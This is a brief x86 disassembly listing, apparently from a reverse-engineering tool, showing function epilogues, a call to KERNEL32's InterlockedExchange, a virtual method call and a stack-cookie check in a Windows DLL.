mov esp, ebp
pop ebp
ret 4
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [esi]
push esi
call dword [eax + 0x28]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100e04a9
mov esp, ebp
pop ebp
ret 4